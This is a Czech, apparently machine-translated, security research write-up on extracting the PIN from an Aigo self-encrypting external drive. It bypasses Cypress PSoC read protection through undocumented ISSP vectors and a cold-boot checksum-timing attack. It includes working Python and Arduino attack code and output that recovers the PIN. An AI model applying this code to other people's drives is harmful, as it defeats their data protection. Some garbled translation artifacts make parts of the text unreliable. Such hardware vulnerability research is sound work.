Reverzování a hackování Aigo samošifrovacího externího HDD disku. Část 2: Vyjmutí výpisu z Cypress PSoC

Toto je druhá a poslední část článku o hackování externích samošifrovacích jednotek. Dovolte mi, abych vám připomněl, že mi kolega nedávno přinesl pevný disk Patriot (Aigo) SK8671 a rozhodl jsem se to obrátit a nyní se s vámi podělím o to, co z toho vzešlo. Než budete číst dál, určitě čtěte první díl články.

4. Začneme vytvářet výpis z interní flash disku PSoC
5. ISSP protokol
– 5.1. Co je ISSP
– 5.2. Demystifikační vektory
– 5.3. Komunikace s PSoC
– 5.4. Identifikace registrů na čipu
– 5.5. Bezpečnostní bity
6. První (neúspěšný) útok: ROMX
7. Druhý útok: Cold Boot Tracing
– 7.1. Implementace
– 7.2. Čtení výsledku
– 7.3. Flash binární rekonstrukce
– 7.4. Nalezení adresy uložení PIN kódu
– 7.5. Odvoz skládky bloku č. 126
– 7.6. obnovení PIN kódu
8. Co bude dál?
9. Závěr

Reverzování a hackování Aigo samošifrovacího externího HDD disku. Část 2: Vyjmutí výpisu z Cypress PSoC


4. Začneme vytvářet výpis z interní flash disku PSoC

Vše tedy naznačuje (jak jsme zjistili v [první části]()), že PIN kód je uložen v hloubkách flash PSoC. Proto musíme tyto hloubky záblesku odečíst. Přední část potřebné práce:

  • převzít kontrolu nad „komunikací“ s mikrokontrolérem;
  • najít způsob, jak zkontrolovat, zda je tato „komunikace“ chráněna před čtením zvenčí;
  • najít způsob, jak obejít ochranu.

Existují dvě místa, kde má smysl hledat platný PIN kód:

  • vnitřní flash paměť;
  • SRAM, kde lze uložit kód PIN pro porovnání s kódem PIN zadaným uživatelem.

Když se podívám do budoucna, poznamenám, že se mi po zrušení nezdokumentovaných možností protokolu ISSP stále podařilo vytvořit výpis z interního flash disku PSoC – obejít jeho bezpečnostní systém pomocí hardwarového útoku zvaného „studené bootování“. To mi umožnilo přímo vypsat skutečný PIN kód.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Konečný kód programu:

5. ISSP protokol

5.1. Co je ISSP

„Komunikace“ s mikrokontrolérem může znamenat různé věci: od „prodejce k dodavateli“ až po interakci pomocí sériového protokolu (například ICSP pro PIC společnosti Microchip).

Cypress má pro to svůj vlastní proprietární protokol zvaný ISSP (in-system serial programming protocol), který je částečně popsán v technické specifikace. Patent US7185162 také poskytuje nějaké informace. Existuje také ekvivalent OpenSource s názvem HSSP (použijeme jej o něco později). ISSP funguje následovně:

  • restartujte PSoC;
  • vyšle magické číslo na sériový datový pin tohoto PSoC; pro vstup do režimu externího programování;
  • odeslat příkazy, což jsou dlouhé bitové řetězce nazývané "vektory".

Dokumentace ISSP definuje tyto vektory pouze pro malou hrstku příkazů:

  • Inicializovat-1
  • Inicializovat-2
  • Inicializace-3 (možnosti 3V a 5V)
  • NASTAVENÍ ID
  • ČTĚTE-ID-SLOVO
  • SET-BLOCK-NUM: 10011111010dddddddd111, kde dddddddd=blok #
  • HROMADNÉ VYMAZÁNÍ
  • PROGRAMOVÝ BLOK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kde DDDDDDDD = data out, aaaaaa = adresa (6 bitů)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kde dddddddd = data v, aaaaaa = adresa (6 bitů)
  • SECURE
  • NASTAVENÍ KONTROLNÍHO SOUČTU
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kde DDDDDDDDDDDDDDDDDD = data out: kontrolní součet zařízení
  • VYMAZAT BLOK

Například vektor pro Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Všechny vektory mají stejnou délku: 22 bitů. Dokumentace HSSP obsahuje další informace o ISSP: „Vektor ISSP není nic jiného než bitová sekvence, která představuje sadu instrukcí.“

5.2. Demystifikační vektory

Pojďme zjistit, co se tady děje. Zpočátku jsem předpokládal, že tyto stejné vektory jsou nezpracované verze instrukcí M8C, ale po kontrole této hypotézy jsem zjistil, že operační kódy operací se neshodují.

Pak jsem vygooglil vektor výše a narazil jsem tady to je studie, kde autor, ač nezachází do podrobností, uvádí několik užitečných rad: „Každá instrukce začíná třemi bity, které odpovídají jedné ze čtyř mnemotechnických pomůcek (čtení z RAM, zápis do RAM, čtení registru, zápis registru). Pak je tu 8 adresových bitů, následuje 8 datových bitů (čtení nebo zápis) a nakonec tři stop bity.

Poté jsem byl schopen získat některé velmi užitečné informace ze sekce Supervisory ROM (SROM). technický manuál. SROM je pevně zakódovaná ROM v PSoC, která poskytuje pomocné funkce (podobným způsobem jako Syscall) pro programový kód běžící v uživatelském prostoru:

  • 00h:SWBootReset
  • 01h: Blok čtení
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: Kontrolní součet
  • 08h: Kalibrace0
  • 09h: Kalibrace1

Porovnáním názvů vektorů s funkcemi SROM můžeme mapovat různé operace podporované tímto protokolem na očekávané parametry SROM. Díky tomu můžeme dekódovat první tři bity ISSP vektorů:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => „wrreg“
  • 111 => "rdreg"

Úplné pochopení procesů na čipu však lze získat pouze prostřednictvím přímé komunikace s PSoC.

5.3. Komunikace s PSoC

Protože Dirk Petrautsky už ano přeneseno Cypressův HSSP kód na Arduinu jsem použil Arduino Uno pro připojení ke konektoru ISSP desky klávesnice.

Vezměte prosím na vědomí, že v průběhu mého výzkumu jsem dost změnil Dirkův kód. Moji úpravu najdete na GitHubu: zde a odpovídající skript Python pro komunikaci s Arduinem v mém úložišti cypress_psoc_tools.

Takže pomocí Arduina jsem nejprve použil pouze „oficiální“ vektory pro „komunikaci“. Zkoušel jsem načíst interní ROM pomocí příkazu VERIFY. Podle očekávání jsem to nedokázal. Pravděpodobně kvůli tomu, že uvnitř flash disku jsou aktivovány bity ochrany proti čtení.

Poté jsem vytvořil několik vlastních jednoduchých vektorů pro zápis a čtení paměti/registrů. Upozorňujeme, že můžeme číst celou SROM, i když je flash disk chráněný!

5.4. Identifikace registrů na čipu

Poté, co jsem se podíval na „rozebrané“ vektory, zjistil jsem, že zařízení používá nezdokumentované registry (0xF8-0xFA) ke specifikaci operačních kódů M8C, které se spouštějí přímo a obcházejí ochranu. To mi umožnilo spouštět různé operační kódy jako "ADD", "MOV A, X", "PUSH" nebo "JMP". Díky nim (pohledem na vedlejší účinky, které mají na registry) jsem mohl určit, které z nezdokumentovaných registrů byly vlastně běžné registry (A, X, SP a PC).

Výsledkem je, že „rozložený“ kód vygenerovaný nástrojem HSSP_disas.rb vypadá takto (pro přehlednost jsem přidal komentáře):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bezpečnostní bity

V této fázi již mohu komunikovat s PSoC, ale stále nemám spolehlivé informace o bezpečnostních bitech flash disku. Velmi mě překvapila skutečnost, že Cypress neposkytuje uživateli zařízení žádné prostředky, jak zkontrolovat, zda je ochrana aktivována. Ponořil jsem se hlouběji do Googlu, abych konečně pochopil, že kód HSSP poskytnutý Cypressem byl aktualizován poté, co Dirk vydal svou modifikaci. A tak! Objevil se tento nový vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Pomocí tohoto vektoru (viz read_security_data v psoc.py) získáme všechny bezpečnostní bity v SRAM na 0x80, kde jsou dva bity na chráněný blok.

Výsledek je deprimující: vše je chráněno v režimu „zakázat externí čtení a zápis“. Z flash disku tedy nejenže nemůžeme nic číst, ale ani zapisovat (například tam nainstalovat ROM dumper). A jediný způsob, jak deaktivovat ochranu, je úplně vymazat celý čip. 🙁

6. První (neúspěšný) útok: ROMX

Můžeme však zkusit následující trik: když máme možnost spouštět libovolné operační kódy, proč nespustit ROMX, který se používá ke čtení flash paměti? Tento přístup má velkou šanci na úspěch. Protože funkce ReadBlock, která čte data z SROM (kterou využívají vektory), kontroluje, zda je volána z ISSP. Operační kód ROMX však takovou kontrolu pravděpodobně mít nemusí. Takže zde je kód Pythonu (po přidání několika pomocných tříd do kódu Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Bohužel tento kód nefunguje. 🙁 Nebo spíše funguje, ale na výstupu dostáváme vlastní operační kódy (0x28 0x30 0x40)! Nemyslím si, že odpovídající funkčnost zařízení je prvkem ochrany proti čtení. Toto je spíše technický trik: při provádění externích operačních kódů je sběrnice ROM přesměrována do dočasné vyrovnávací paměti.

7. Druhý útok: Cold Boot Tracing

Protože trik ROMX nefungoval, začal jsem uvažovat o jiné variantě tohoto triku - popsané v publikaci „Příliš mnoho světla na ochranu firmwaru mikrokontroléru“.

7.1. Implementace

Dokumentace ISSP poskytuje následující vektor pro CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

To v podstatě volá funkci SROM 0x07, jak je uvedeno v dokumentaci (dole kurzívou):

Tato funkce ověření kontrolního součtu. Vypočítává 16bitový kontrolní součet počtu uživatelem zadaných bloků v jedné flash bance, počínaje nulou. Parametr BLOCKID se používá k předání počtu bloků, které budou použity při výpočtu kontrolního součtu. Hodnota "1" vypočítá pouze kontrolní součet pro blok nula; zatímco "0" způsobí výpočet celkového kontrolního součtu všech 256 bloků flash banky. 16bitový kontrolní součet je vrácen prostřednictvím KEY1 a KEY2. Parametr KEY1 ukládá 8 bitů spodního řádu kontrolního součtu a parametr KEY2 ukládá 8 bitů vyššího řádu. U zařízení s několika flash bankami je funkce kontrolního součtu volána pro každou zvlášť. Číslo banky, se kterou bude pracovat, nastavuje registr FLS_PR1 (nastavením bitu v něm odpovídajícího cílové flash bance).

Všimněte si, že se jedná o jednoduchý kontrolní součet: bajty jsou jednoduše přidávány jeden po druhém; žádné fantazie CRC vtípky. Kromě toho, protože jsem věděl, že jádro M8C má velmi malou sadu registrů, předpokládal jsem, že při výpočtu kontrolního součtu budou mezilehlé hodnoty zaznamenány ve stejných proměnných, které nakonec půjdou na výstup: KEY1 (0xF8) / KEY2 ( 0xF9).

Takže teoreticky můj útok vypadá takto:

  1. Připojujeme se přes ISSP.
  2. Výpočet kontrolního součtu zahájíme pomocí vektoru CHECKSUM-SETUP.
  3. Restartujeme procesor po zadané době T.
  4. Čteme RAM, abychom získali aktuální kontrolní součet C.
  5. Opakujte kroky 3 a 4 a pokaždé trochu zvyšte T.
  6. Data z flash disku obnovíme odečtením předchozího kontrolního součtu C od aktuálního.

Je tu však problém: vektor Initialize-1, který musíme poslat po restartu, přepíše KEY1 a KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Tento kód přepíše náš drahocenný kontrolní součet voláním Calibrate1 (funkce SROM 9)... Možná můžeme poslat magické číslo (ze začátku výše uvedeného kódu), abychom vstoupili do programovacího režimu a pak načetli SRAM? A ano, funguje to! Kód Arduino, který implementuje tento útok, je poměrně jednoduchý:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Přečtěte si checkum_delay.
  2. Spusťte výpočet kontrolního součtu (send_checksum_v).
  3. Počkejte určitou dobu; s ohledem na následující úskalí:
    • Ztratil jsem spoustu času, než jsem zjistil, jak to dopadlo zpožděníMikrosekundy pracuje správně pouze se zpožděním nepřesahujícím 16383 μs;
    • a pak znovu zabil stejné množství času, dokud jsem nezjistil, že delayMicroseconds, pokud je mu předána 0 jako vstup, funguje zcela nesprávně!
  4. Restartujte PSoC do programovacího režimu (pošleme pouze magické číslo, bez odesílání inicializačních vektorů).

Finální kód v Pythonu:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Stručně řečeno, co tento kód dělá:

  1. Restartuje PSoC (a pošle mu magické číslo).
  2. Odešle úplné inicializační vektory.
  3. Volá Arduino funkci Cmnd_STK_START_CSUM (0x85), kde se jako parametr předává zpoždění v mikrosekundách.
  4. Přečte kontrolní součet (0xF8 a 0xF9) a nezdokumentovaný registr 0xF1.

Tento kód se provede 10krát za 1 mikrosekundu. 0xF1 je zde zahrnut, protože to byl jediný registr, který se změnil při výpočtu kontrolního součtu. Možná je to nějaký druh dočasné proměnné, kterou používá aritmetická logická jednotka. Všimněte si ošklivého hacku, který používám k resetování Arduina pomocí picocom, když Arduino přestane vykazovat známky života (netuším proč).

7.2. Čtení výsledku

Výsledek skriptu Python vypadá takto (zjednodušeno pro čitelnost):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Jak již bylo řečeno, máme problém: protože pracujeme se skutečným kontrolním součtem, null byte nemění načtenou hodnotu. Protože však celá procedura výpočtu (8192 bajtů) trvá 0,1478 sekundy (s malými odchylkami při každém spuštění), což odpovídá přibližně 18,04 μs na bajt, můžeme tuto dobu využít ke kontrole hodnoty kontrolního součtu ve vhodných časech. Při prvních spuštěních se vše čte poměrně snadno, protože doba trvání výpočetního postupu je vždy téměř stejná. Konec tohoto výpisu je však méně přesný, protože „malé odchylky časování“ při každém běhu se sčítají a stávají se významnými:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

To je 10 výpisů za každé mikrosekundové zpoždění. Celková provozní doba pro vyprázdnění všech 8192 bajtů flash disku je asi 48 hodin.

7.3. Flash binární rekonstrukce

Ještě jsem nedokončil psaní kódu, který kompletně zrekonstruuje programový kód flash disku s přihlédnutím ke všem časovým odchylkám. Začátek tohoto kódu jsem však již obnovil. Abych se ujistil, že jsem to udělal správně, rozebral jsem to pomocí m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Vypadá to docela věrohodně!

7.4. Nalezení adresy uložení PIN kódu

Nyní, když můžeme číst kontrolní součet v časech, kdy potřebujeme, můžeme snadno zkontrolovat, jak a kde se změní, když:

  • zadejte nesprávný PIN kód;
  • změnit PIN kód.

Nejprve, abych našel přibližnou adresu úložiště, provedl jsem po restartu výpis kontrolního součtu v krocích po 10 ms. Pak jsem zadal špatný PIN a udělal to samé.

Výsledek nebyl příliš příjemný, protože došlo k mnoha změnám. Ale nakonec jsem byl schopen určit, že se kontrolní součet změnil někde mezi 120000 140000 µs a 0 XNUMX µs zpoždění. Ale „pincode“, který jsem tam zobrazil, byl zcela nesprávný – kvůli artefaktu procedury delayMicroseconds, která dělá divné věci, když je do ní předána XNUMX.

Potom, po téměř 3 hodinách, jsem si vzpomněl, že systémové volání SROM CheckSum dostává jako vstup argument, který určuje počet bloků pro kontrolní součet! Že. snadno lokalizujeme adresu úložiště PIN kódu a počítadlo „nesprávných pokusů“ s přesností až na 64bajtový blok.

Moje počáteční běhy přinesly následující výsledek:

Reverzování a hackování Aigo samošifrovacího externího HDD disku. Část 2: Vyjmutí výpisu z Cypress PSoC

Pak jsem změnil PIN kód z "123456" na "1234567" a dostal:

Reverzování a hackování Aigo samošifrovacího externího HDD disku. Část 2: Vyjmutí výpisu z Cypress PSoC

V bloku č. 126 se tedy zdá být uložen PIN kód a počítadlo chybných pokusů.

7.5. Odvoz skládky bloku č. 126

Blok #126 by se měl na mém úplném výpisu nacházet někde kolem 125x64x18 = 144000μs, od začátku výpočtu kontrolního součtu, a vypadá to docela věrohodně. Potom, po ručním prosévání mnoha neplatných výpisů (kvůli akumulaci „menších časových odchylek“), jsem nakonec získal tyto bajty (s latencí 145527 μs):

Reverzování a hackování Aigo samošifrovacího externího HDD disku. Část 2: Vyjmutí výpisu z Cypress PSoC

Je zcela zřejmé, že PIN kód je uložen v nezašifrované podobě! Tyto hodnoty samozřejmě nejsou zapsány v ASCII kódech, ale jak se ukázalo, odrážejí údaje odebrané z kapacitní klávesnice.

Nakonec jsem provedl několik dalších testů, abych zjistil, kde byl uložen čítač špatných pokusů. Zde je výsledek:

Reverzování a hackování Aigo samošifrovacího externího HDD disku. Část 2: Vyjmutí výpisu z Cypress PSoC

0xFF - znamená "15 pokusů" a snižuje se s každým neúspěšným pokusem.

7.6. obnovení PIN kódu

Zde je můj ošklivý kód, který spojuje výše uvedené:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Zde je výsledek jeho provedení:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurá! Funguje!

Vezměte prosím na vědomí, že hodnoty latence, které jsem použil, jsou pravděpodobně relevantní pro jeden konkrétní PSoC - ten, který jsem použil.

8. Co bude dál?

Pojďme si to tedy shrnout na straně PSoC v kontextu našeho disku Aigo:

  • můžeme číst SRAM, i když je chráněna proti čtení;
  • Ochranu proti přejetí můžeme obejít použitím studeného bootovacího trace útoku a přímo načtením PIN kódu.

Náš útok má však určité nedostatky kvůli problémům se synchronizací. Dalo by se to zlepšit následovně:

  • napsat obslužný program pro správné dekódování výstupních dat, která jsou získána jako výsledek útoku „studeného spouštění“;
  • použijte gadget FPGA k vytvoření přesnějších časových zpoždění (nebo použijte hardwarové časovače Arduino);
  • zkuste jiný útok: zadejte úmyslně nesprávný PIN kód, restartujte a vyprázdněte RAM, doufejte, že správný PIN kód bude uložen do RAM pro porovnání. To však na Arduinu není tak snadné, protože úroveň signálu Arduina je 5 voltů, zatímco deska, kterou zkoumáme, pracuje se signály 3,3 voltu.

Jedna zajímavá věc, kterou lze vyzkoušet, je pohrát si s úrovní napětí, aby se obešla ochrana proti čtení. Pokud by tento přístup fungoval, byli bychom schopni získat naprosto přesná data z flash disku – místo toho, abychom se spoléhali na čtení kontrolního součtu s nepřesnými časovými prodlevami.

Vzhledem k tomu, že paměť SROM pravděpodobně čte ochranné bity prostřednictvím systémového volání ReadBlock, mohli bychom udělat to samé jako popsáno na blogu Dmitrije Nedospasova – re-implementace útoku Chrise Gerlinského, oznámeného na konferenci "REcon Brussels 2017".

Další zábavná věc, kterou lze udělat, je odbrousit pouzdro z čipu: provést výpis paměti SRAM, identifikovat nezdokumentovaná systémová volání a zranitelnosti.

9. Závěr

Ochrana tohoto disku tedy zůstává nedostatečná, protože k uložení PIN kódu používá běžný (ne „zpevněný“) mikrokontrolér... Navíc jsem se (zatím) nedíval, jak to s daty chodí šifrování na tomto zařízení!

Co můžete doporučit pro Aigo? Po analýze několika modelů šifrovaných HDD disků jsem v roce 2015 udělal představení na SyScan, ve kterém zkoumal bezpečnostní problémy několika externích pevných disků a navrhl, co by se na nich dalo zlepšit. 🙂

Tímto výzkumem jsem strávil dva víkendy a několik večerů. Celkem asi 40 hodin. Počítání od úplného začátku (když jsem otevřel disk) do konce (výpis PIN kódu). Stejných 40 hodin zahrnuje čas, který jsem strávil psaním tohoto článku. Byl to velmi vzrušující výlet.

Zdroj: www.habr.com

Přidat komentář